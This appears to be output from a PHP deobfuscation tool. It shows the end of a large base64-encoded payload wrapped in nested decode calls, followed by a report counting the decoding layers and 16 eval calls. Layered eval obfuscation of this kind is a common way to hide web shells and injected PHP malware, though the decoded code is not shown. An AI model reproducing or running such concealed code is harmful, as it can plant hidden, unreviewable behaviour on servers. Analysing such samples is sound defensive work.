QTTjJF2pT2UUHwO1Xo0OaeGSc3yA7Vq4SymyHuEAkKTVnXa8dMRDA+LBY0sLfUZzbfsZ6xn5qNWowIWNAVk0EKdmFqBq0SEE/r6RQHXSzNz92ZoxlTEVn3LcU9GMe1JYRWI477qjcLmMpKq+sQvdkAY+EuVSbo8F/j2/0Bp+c442H8Bof0Lehze/u9VAUw5BGek4/z3K9uk5UzEPg94eOzDdDBGfkOY2OjlvohA67U5+uDrk1G7gx2Icl/KzE1qNwVltvdaknx2kynFpMtgv6r6yqI3jBx1h+2h/Rne6chN+J7nNc2u5891LqHObOBzNQoJKSjwhfGEsM9SGgVKC0IQd2vrrWFo4Gj9/M9U6Dua1pyM/iJbRGCTRZZU2pBwaxEicn8hEtWWV3koMMAHBzxT61+po42l8bIqdQKCpu3PVefha/ti358DYKl1I5Rai2nwher+21pkRWYhq4tAAqi8zC0SsRtBHIGCamwQmDye805Haq8y/ko1t20NFpNwTxR6TJlvVBHiN7SFLa/R2TwqJY5bj6Ciy5sfJXfqbZT6WcaTvhXWhK40W+iPyTrMVPqGslAJNIiOX5+PIjELwXDyxK8UAfXhsaMVKlTTqCJgSIf1orzjGd3TDXgsS7jOwN6TTHg1zYU1+o62IyK449moLippSltpsxOESB5v18OHs6T83PFmj0ihWduZ5klg9ZtgSvzzUBzsCOG51xVuFsf0Yf9OqxTA868Pd9/InpuBzhb82il2HGUH5y2sHWKXT9UMVCo7Hkn2gL/P0wpujZ20Fok9EyU6SN0GsJfa7dRu+RsCwq9t0iDv/9IBqpaWSeSiTV4AMEHvtLVqWxckPTiJ6DO0+3aEx7Q++YLKtstB09gX22jgetHiojhx6Dgtf5gRR44v6qG581rZDlpBej83D/AYhMbpvLAemWPFMM/T6ql+HQZcyQTgE9pHLF81aqxJFfVFDng0A3+2oOlSmrDBFbmg9iB69cH/Fc4q/fgJNMPg6JJ/lomH21uJGHQiLjTo+Npj21E7w99Xn254/BRnCQPx3Mq/Fw4yUsvNUkmfRxIF17SqFEddV12eWcYF1dTYTBOUrIOe/jqxEH1cQ25N6xgUN5oqxAgkjUtoANpgyoEqu0GrsXnTVrG8Z2B8kmp7LPLttoPITI59gKov4s6df1ei4Ck23rPObUmWgI/t7b0xD1HcXo+en2HSiSVfp5VwPjNn898RbdIQIhUaW0K7iEI2n+M3S8pW0+rSJqrhfd+/uM+CkxagbpWgD/uyu5eW97gWZhbN0bmP+o38wJ7oBzrgC3VKNbOoXSD8lSqH2nxG15bChBpTKErzgj3wUPxMIz+fuA9eiauaC33pQh3caJPEYL2HgwI71J7bijvv7T4BuezmUoWbg6GdU9ZUS0Dcd2b+KqJA71cFqNDhPYK2Evf6DQuYF7pVoRd3oo0ze84dCgXbVku5UHec32KLmof6KTdcWl/mQnnUnS8W4lITUuba3ZNQpOoEWdARW7BWGr/OHewWtaUvYV3VfHhhGec0PSwgufir/mBjaKtl0tMSF1KP9by9TV6VAGcDa57CqTZ43zzawBlPDjFPoXX4lhvKa0wsTi+4lF1scl+2vC+sOxbjB2iaUi2smJJDT3h2DtykZE1itz7coO2A0EGgFkGWSMnV2Lsi5Da8B6F9sVCcz99/8iI5EhcwXrrvTiY1cfhj6KcW0Ev/Xx+2o8MevYA0daj5Olfspu9oyOwDkdCKRZenNva/abbskZ9HNeMq8X7uuyvkqV5WFTQILjp8QuZtmw0UFy80z0dKRBkOxlztXw5jym2nNkoUVGNX1J5WHDfptMMY80pvtvd1q/eNfWDDhuDNUrqRmlft2U7o6zqFF94xT0s4Fke5YXdehD7eo+rY45xv6LYV0pmOKL0QezmvxCc8sIl92dUxc94BFS5YtOLgFicUQmZwQANnP8jKh7nCCxCNDwuWPpUiAx11HsZ1yWVW3nj67MXvu39OgO0XH4TrBp9MD/I+HHXoCCjmqtTYgeSSSb09xPXD1R5aoPu4rv9Sss+szCBKdRyPmlnwlVCVC2GVJGmk6+mw5BPsDrEofuXrVZGVEfBxGXYkylEihrRn41WbUDkoxzNghv/97PNBMlCfyhvBUQwZzWNhA1WEtQVKSQq6PS1RwYECh7q/DhpeQs5BKph3mjajUAo3sngXXz0UFKDvHp+mC1/xRrE8YIlhvhyKsIFIGRXRaO46TIeZMNfs3l7p5/pY26eNzO67fFN2KErF/lNBG9vRhl0MWigkEt2pccO9/cgpco3Ww+ToyicjZkiiGlSKT/MIAzWIN5uNQokdIv+dM9Ndlf52DH+9aEyV2XCQdycJPpZx3hMSumKXQ3pBzAi4h+HoGGbrlEikucutTOoRDGnh3VUP0XF6K2vj6xDoOSfTRHBUO+GXtsrTNg/QHYtjB2UlaXUYT3QX4fb0QLFaaCw+d9+WJl7M4o4Wf+ouWFGGXOSBsTGFGUKCFmuX0h8Fa995bvRj1p+hpuvrZRCF9JmkVo1Mn+nLEHo6Z+0jGZfPP0urMNyNheGW3sF8OwoLyaOomN3ExOm+KyjSn/dPRhw9Bgz0qGV3UK3/xyq8x5jwbdFdtSoqd9NBFYcvUIwO3PO54w/+SB6xCMyqN+IJMTvuCxzlFgzJXCZjva5wlTXTKm9I+IDiv6q/d73Ylk/6YnkrY5NKZlghQYpJWRaiwxtfSYdPRrtkJV+2XyuDd4PjDDvs849HGnEqWxypUysnW76d/D6i7QzGQh8us8LCWPaIlpysvgq/dCS/o7+slPvOUHGt/AcW7ffH1tDaHMNzre7bSBas3HyvmDsAJrprsIpN1z2XW1c/Hf/WtnnfUEblafcE1GjyffcLwMc8kwkMYhtlQTdTQ5Je82OSQJDMK7vfNA+6HED5iVQZKTK9AikfFZK1oxjL0zQoWuP5t+Ias7hXY8iOmfRvDcdxCY2EGlZJM5343Caos+aTx9EVBL020x95jVApG2NwOMI1OSBDTK1o6B10W+UiaQB2NOhADe07NpzPeaOUJuutxkvwNfmdjqDkr/+XzERmS7oB+JnW2RMT+CIZZACK1pa2U4fGC/9Oa2sb7GQS+ItN67ccDZWf1OPVC/28Hh01C/e5gfMkXU9GdcqTqIRONRI6C7KW6Uc0m0tvIhGnAeKRirgR+ZrhjHTMFAThR2jyKMLqUHlnqWWawpZHcABIdpMmPWrBjjHjs1nJqRm2xuR7UNjzKlW1KFVru4YOdQrL2KFHxV5JSJq1+vcxn8uwsTLcUd4o1AjzkvkrQC53Ynov5N0FX4Gn9a6TPAQz9Q6ivnO7fI73j4D7FXHDaMbfWrHOEVRBHicZRNK19P6qGjfvCdUqroms6EIwhvWZfxulT27EYMHsvlNaLOfm7pV0iLowKd9lXtTf+U1djUdTgKb34T5fGaT9kYtVrcsUxJHtmmEC/wjZpSLpyOzq9SkOcd3vtxlWIeg4imrmSwkAzfqEeeQfmoEPI9CKUhxAkm0DvIryOFyA43AptB+RKP072J+IlNfBfW3IcHrtX6sCbv2wh27+aMTNVpBMDqu0l3ltgGLdTcd85w5v49srvYqeAbMyGX7C796SSShq0kUX1c6N+rE8yFIyRzvDqkVlCJcIhrU1JqBGJFx6gVd9JuPQTkhjktLjHqfHdXj4Kcx7efSUj9r5j+7duLyJYSmUwxANPdqDq+WY+7lw81osMX4X5z+g8hopjZej/dRQgl4v3t++ShMwqOI7/e/RagKGfAvd/AyrIBm+suPNgsJ7WAph8xtGM/vvojzR6c+vLOXZk2GgELhdv1TdZzmoxAiDV38ZPZTfb82FPFc8U3wNNjBLODV2S6Rc4CWC2GSn/IpxXb/7M7FAYd4IQEiyKRpoOIxXymRkXjZYRMEeLJDIqgRzt1QLhcpe4jp1s+QHG25EdxmwjG7kIv0xGe6I9Ep5E0Jm7kklkiNDHQj8zos9VKH/H2Cl87DTKaJ5pOIdVxswb0cydeWlQfYX5Cx0NqKrBCZyhMoJ1PYjV/mBxeRyZ3IV1otkPcYpTOfET02/zb+WvoClLMhEMgAWQ2ORLv4P+GEloH1ttppR72e7nYu8GSwdg3bYQa1FFyPL4lUhwwaZSf85s8ZchcEzzSBdZwwirHnE+E1VN9puNTv9rJrrx+d30rS73d4tG2fmFjzT/vvFT5/bGQvD1tx3oE4A8cBGJB0STjL3twZhbM2QmtZXtvwQjQoaeTuL7euYUYdXGf20Gtdsn18u2afje393fqXJAeo4whzXr2VT8opnC6wyfORLCIOPJN8GqW3yg9Ga0gR8hySfsNIzIhv5mRyr/buS5MQUBURvJYs9xbE4Nj1lwXrHDko6ke9XHkutuqb5ALlgtW8xAB0XCrueTmUFvATxGE7aIuv29HDJw2ERAUTYr6IHFFyzPfhUYHFL/NzkJGCdEnPgPef7P/2z//N//Dw==')))));
?>
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | cdad6dbcde046428c4733dfe5d6cb0a9 |
Eval Count | 16 |
Decode Time | 187 ms |